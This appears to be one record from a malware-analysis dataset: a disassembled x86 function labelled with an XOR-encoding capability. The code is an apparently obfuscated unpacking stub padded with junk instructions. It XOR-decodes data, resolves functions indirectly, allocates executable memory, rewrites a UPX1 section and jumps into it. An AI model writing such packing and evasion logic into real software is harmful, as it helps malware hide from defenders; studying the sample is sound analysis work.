Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x856f0f42
not edx
sub ebx, 0x566a39bd
add ebx, ebx
popal
sub ebx, 0x68073bc7
mov ebx, 0xd2b68ff4
mov ebx, edx
mov edx, 0
mov ecx, esi
mov edi, eax
sub eax, 0xd52a3ff
mov ebx, ecx
not edi
not edi
mov esi, ebx
add eax, 0x618c4ea
not eax
sub eax, 0x328019ea
inc edx
or eax, eax
and eax, eax
cmp edx, 0x100f8cc
jne 0xa789cf
inc eax
add edi, 0x1cb263ec
add edx, 1
dec edx
mov ebx, 0xcd60705b
mov eax, 0xa78796
add edi, edx
mov edi, 0xeb8dadac
or ebx, ebx
mov esi, 0xa7898a
and edx, edi
inc ebx
add ebx, edx
mov ecx, dword [eax]
not edx
or ebx, edx
add ebx, edi
and ecx, 0xff
and edi, edx
or edi, edx
or edi, edx
xor dword [esi], ecx
not ebx
add edx, 0xa255489c
inc ebx
inc esi
sub edi, ebx
add ebx, 0x8738280b
inc eax
sub edi, 0x912cbd78
and edi, edx
cmp esi, entry0
jl 0xa78a2b
sub ebx, edx
sub ebx, edx
dec edx
inc edx
mov edx, ecx
mov ecx, edx
add ebx, 0x55389418
mov esi, 0xa7898e
and edi, ecx
and edx, ebx
dec edx
mov esi, dword [esi]
or ebx, edx
dec edx
mov esi, dword [esi]
or edx, edi
or ebx, edi
push esi
and edx, edi
mov ecx, 0x2ae344c1
mov esi, 0xa7898a
sub edx, 0x77d8df77
dec edx
inc ebx
mov esi, dword [esi]
add ebx, edx
sub ebx, edx
mov ecx, edx
mov esi, dword [esi]
add ecx, 0x55e099e8
add ebx, 0x6ca3ec7f
push 0xa78992
mov edi, ecx
and ecx, ecx
call esi
not ebx
sub edx, 0xeed7dc5a
mov esi, dword [esp]
add esp, 4
sub ecx, 0xb8140ce4
add ecx, 1
dec ecx
push 0xa7899f
and ebx, edx
inc edx
push eax
or ebx, ebx
and edx, edi
call esi
not edx
mov edi, edx
push 0x40
or ecx, ecx
inc edx
mov edi, 0x63e7141b
push 0x3000
sub ecx, edi
not edi
push 0x2000087a
mov edx, ecx
add ecx, edi
push 0
or ecx, ecx
and edi, ebx
inc ebx
call eax
and edi, ebx
or ecx, ebx
sub edi, 0x3017e12e
add eax, 0x200007b6
add edx, 0x47eeecde
and edi, edx
dec edi
mov esi, 0xec97ea39
not ebx
or ecx, edi
mov dword [eax], esi
mov edi, 0xcd499f85
sub ebx, edi
mov edx, 0xe4d69c33
mov esi, dword [eax]
sub ebx, edx
mov ecx, edi
cmp esi, 0xec97ea39
je 0xa78b61
mov edx, 0
mov byte [edx], al
or ebx, ecx
inc ebx
mov ecx, 0xe55a7935
add ecx, 0x88c531af
sub ebx, edx
mov edx, ebx
and edx, edx
mov esi, section.UPX1
add ebx, ebx
mov edx, ebx
mov eax, 0xa78795
mov ebx, edx
inc ebx
inc edx
mov ecx, 0
sub edx, ebx
not edx
mov edi, 0xa78796
sub edx, ebx
add edx, edx
lea edi, [ecx + edi]
sub edx, 0x20f22ee2
mov edx, 0xdb195f7c
mov edi, dword [edi]
sub ebx, 0x634f8dff
dec edx
and edi, 0xff
inc ebx
inc edx
or ebx, ebx
add ecx, 1
mov edx, ebx
add edx, 0xd2988540
cmp ecx, 0x1f4
jne 0xa78bd5
mov ecx, 0
inc edx
sub ebx, edx
add edx, 0x87fc39e7
not ebx
and edx, ebx
inc edx
xor dword [esi], edi
add edx, 1
sub ebx, 1
add esi, 2
sub ebx, 0x65b27074
inc ebx
cmp esi, eax
jl 0xa78b90
add ebx, ebx
mov ebx, 0xe9f17ae0
mov ebx, edx
dec ebx
not ebx
add ebx, 0xe732a500
mov esi, section.UPX1
or edx, edx
sub edi, edx
mov edi, edx
mov ecx, section.UPX1
add edx, 0x7b8e22f6
add edi, 1
mov ebx, 0xa78795
add edx, 0xca9a10d4
add edx, 0xf8263109
mov eax, 0
add edx, edx
add edi, edx
add edx, 1
mov al, byte [ecx]
add edx, 1
or edi, edx
mov byte [esi], al
or edx, edi
add edx, edx
inc esi
add edx, edi
and edx, edi
add edi, edx
add ecx, 2
inc edi
dec edx
sub edx, 0x928bca00
cmp ecx, ebx
jle 0xa78c54
sub edi, 0x92775dc0
not edx
add edi, 0x1e3f7730
add ebx, ebx
sub edx, 0x8e36837d
push 0x8dc6a0
dec ebx
add ebx, 0xfcf46a75
ret